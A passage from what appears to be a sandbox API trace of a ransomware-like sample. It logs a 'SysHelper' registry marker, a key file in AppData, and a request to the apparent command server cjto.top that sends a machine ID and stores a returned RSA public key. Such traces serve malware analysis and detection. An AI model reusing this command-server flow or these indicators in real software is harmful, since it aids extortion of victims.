lpMultiByteStr=0x18e638, cbMultiByte=-1, lpWideCharStr=0x348de58, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x348e668 [0122.708] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x348de58 | out: hHeap=0x810000) returned 1 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x859280 [0122.708] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x348e668 | out: hHeap=0x810000) returned 1 [0122.708] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x859280 | out: hHeap=0x810000) returned 1 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x859280 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x3436190 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x8ec) returned 0x348de58 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x348e750 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b0360 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfe0) returned 0x348ef68 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed180 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3489d50 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x660) returned 0x348ff50 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b0be8 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b1470 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b1cf8 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b2580 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b2e08 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x348a568 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b3690 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b3f18 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x348adb0 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x348b5f8 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34bbd98 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b47a0 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b5028 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34bc600 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34bce48 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b58b0 [0122.709] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b6138 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34b69c0 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b7248 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34b7ad0 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34bd6a8 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34bdf30 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34be7b8 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34bf040 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34bf8c8 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34cd690 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34cdef8 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c0150 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c09d8 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c1260 [0122.710] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34ce760 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34cefa8 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c1ae8 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c2370 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c2bf8 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c3480 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c3d08 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c4590 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c4e18 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c56a0 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c5f28 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34cf7f0 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34d0058 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c67b0 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34c7038 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c78c0 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34d08c0 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x34c8148 [0122.711] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c89d0 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c9258 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34c9ae0 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34ca368 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34cabf0 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34cb478 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34cbd00 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x34cc588 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad0060 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x34d1108 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae0048 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad08e8 [0122.712] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad1170 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad19f8 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad2280 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad2b08 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad3390 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad3c18 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad44a0 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad4d28 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc0) returned 0x344b958 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad55b0 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d1970 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d2188 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d29a0 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d31b8 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d39d0 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d41e8 [0122.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34d4a00 [0122.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed250 [0122.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad5e38 [0122.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad66c0 [0122.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad6f48 [0122.714] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad77d0 [0122.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41f130, lpParameter=0x348de60, dwCreationFlags=0x0, lpThreadId=0x3436198 | out: lpThreadId=0x3436198*=0x134) returned 0x3a0 [0122.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41fd80, lpParameter=0x529238, dwCreationFlags=0x0, lpThreadId=0x529230 | out: lpThreadId=0x529230*=0x21c) returned 0x398 [0122.715] GetMessageW (lpMsg=0x18e830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0127.953] NtdllDefWindowProc_W () returned 0x0 [0135.887] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3afcbd0 [0135.887] GetComputerNameW (in: lpBuffer=0x3afcbd0, nSize=0x18dbac | out: lpBuffer="XDUWTFONO", nSize=0x18dbac) returned 1 [0135.887] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450138 [0135.887] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3afcbd0 | out: hHeap=0x810000) returned 1 [0135.887] IsWindow (hWnd=0x1014e) returned 1 [0135.887] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450138 | out: hHeap=0x810000) returned 1 [0217.491] NtdllDefWindowProc_W () returned 0x1 [0237.053] NtdllDefWindowProc_W () returned 0x1 Thread: id = 139 os_tid = 0x6c8 Thread: id = 140 os_tid = 0x6d0 Thread: id = 141 os_tid = 0x6d4 Thread: id = 142 os_tid = 0x6d8 Thread: id = 143 os_tid = 0x6dc Thread: id = 144 os_tid = 0x6e0 Thread: id = 219 os_tid = 0x5a8 Thread: id = 220 os_tid = 0x5b0 Thread: id = 229 os_tid = 0x230 [0120.462] timeGetTime () returned 0x1133688 [0120.462] GetLastError () returned 0x54f [0120.462] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3bc) returned 0x34579e8 [0120.462] GetCurrentThreadId () returned 0x230 [0120.462] SetLastError (dwErrCode=0x54f) [0120.462] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x9ada5e4 | out: phkResult=0x9ada5e4*=0x5a4) returned 0x0 [0120.463] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x9ada5d8, lpData=0x9ada5e0, lpcbData=0x9ada5dc*=0x4 | out: lpType=0x9ada5d8*=0x0, lpData=0x9ada5e0*=0x0, lpcbData=0x9ada5dc*=0x4) returned 0x2 [0120.463] RegSetValueExW (in: hKey=0x5a4, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x9ada5e0*=0x1, cbData=0x4 | out: lpData=0x9ada5e0*=0x1) returned 0x0 [0120.463] RegCloseKey (hKey=0x5a4) returned 0x0 [0120.463] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x9ada4e4 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0120.463] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="bowsakkdestx.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt") returned 1 [0120.463] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x8597a0 [0120.463] AreFileApisANSI () returned 1 [0120.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada4e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0120.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7a) returned 0x865f38 [0120.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada4e4, cbMultiByte=-1, lpWideCharStr=0x865f38, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt") returned 61 [0120.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\bowsakkdestx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ada368, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.470] GetLastError () returned 0x2 [0120.470] GetLastError () returned 0x2 [0120.470] SetLastError (dwErrCode=0x2) [0120.470] GetLastError () returned 0x2 [0120.470] SetLastError (dwErrCode=0x2) [0120.470] GetLastError () returned 0x2 [0120.470] SetLastError (dwErrCode=0x2) [0120.470] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x865f38 | out: hHeap=0x810000) returned 1 [0120.470] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0120.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34391c8 [0120.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x5e) returned 0x8ed118 [0120.470] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34391c8 | out: hHeap=0x810000) returned 1 [0120.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x87c570 [0120.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3485e78 [0120.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x87c570, cbMultiByte=-1, lpWideCharStr=0x3485e78, cchWideChar=1056 | out: lpWideCharStr="B0ED29E149F193F03F22B39AC6D876E7") returned 33 [0120.471] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x850) returned 0x34866c0 [0120.471] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3485e78 | out: hHeap=0x810000) returned 1 [0120.471] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x87c570 | out: hHeap=0x810000) returned 1 [0120.471] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x890) returned 0x3486f18 [0120.471] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed118 | out: hHeap=0x810000) returned 1 [0120.471] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34866c0 | out: hHeap=0x810000) returned 1 [0120.471] lstrcpyW (in: lpString1=0x9adaf78, lpString2="http://cjto.top/yyyxxx1/get.php?pid=B0ED29E149F193F03F22B39AC6D876E7" | out: lpString1="http://cjto.top/yyyxxx1/get.php?pid=B0ED29E149F193F03F22B39AC6D876E7") returned="http://cjto.top/yyyxxx1/get.php?pid=B0ED29E149F193F03F22B39AC6D876E7" [0120.471] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://cjto.top/yyyxxx1/get.php?pid=B0ED29E149F193F03F22B39AC6D876E7", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0122.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9ada778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x9ada604 | out: lpBuffer=0x9ada778*, lpdwNumberOfBytesRead=0x9ada604*=0x22f) returned 1 [0122.347] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x9ada670 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0122.348] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="bowsakkdestx.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt") returned 1 [0122.348] AreFileApisANSI () returned 1 [0122.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada670, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0122.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7a) returned 0x865f38 [0122.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada670, cbMultiByte=-1, lpWideCharStr=0x865f38, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt") returned 61 [0122.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\bowsakkdestx.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\bowsakkdestx.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9ada47c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0122.349] GetFileType (hFile=0x3b0) returned 0x1 [0122.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x865f38 | out: hHeap=0x810000) returned 1 [0122.349] lstrlenA (lpString="{\"public_key\":\"-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 559 [0122.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1000) returned 0x344e1b0 [0122.350] WriteFile (in: hFile=0x3b0, lpBuffer=0x9ad9118*, nNumberOfBytesToWrite=0x22f, lpNumberOfBytesWritten=0x9ad8a44, lpOverlapped=0x0 | out: lpBuffer=0x9ad9118*, lpNumberOfBytesWritten=0x9ad8a44*=0x22f, lpOverlapped=0x0) returned 1 [0122.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x344e1b0 | out: hHeap=0x810000) returned 1 [0122.351] CloseHandle (hObject=0x3b0) returned 1 [0122.351] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0122.353] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0122.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486f18 | out: hHeap=0x810000) returned 1 [0122.353] lstrlenA (lpString="{\"public_key\":\"") returned 15 [0122.353] lstrcpyA (in: lpString1=0x9adab78, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.353] lstrcpyA (in: lpString1=0x9ada778, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.353] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.353] lstrlenA (lpString="-----BEGIN PUBLIC 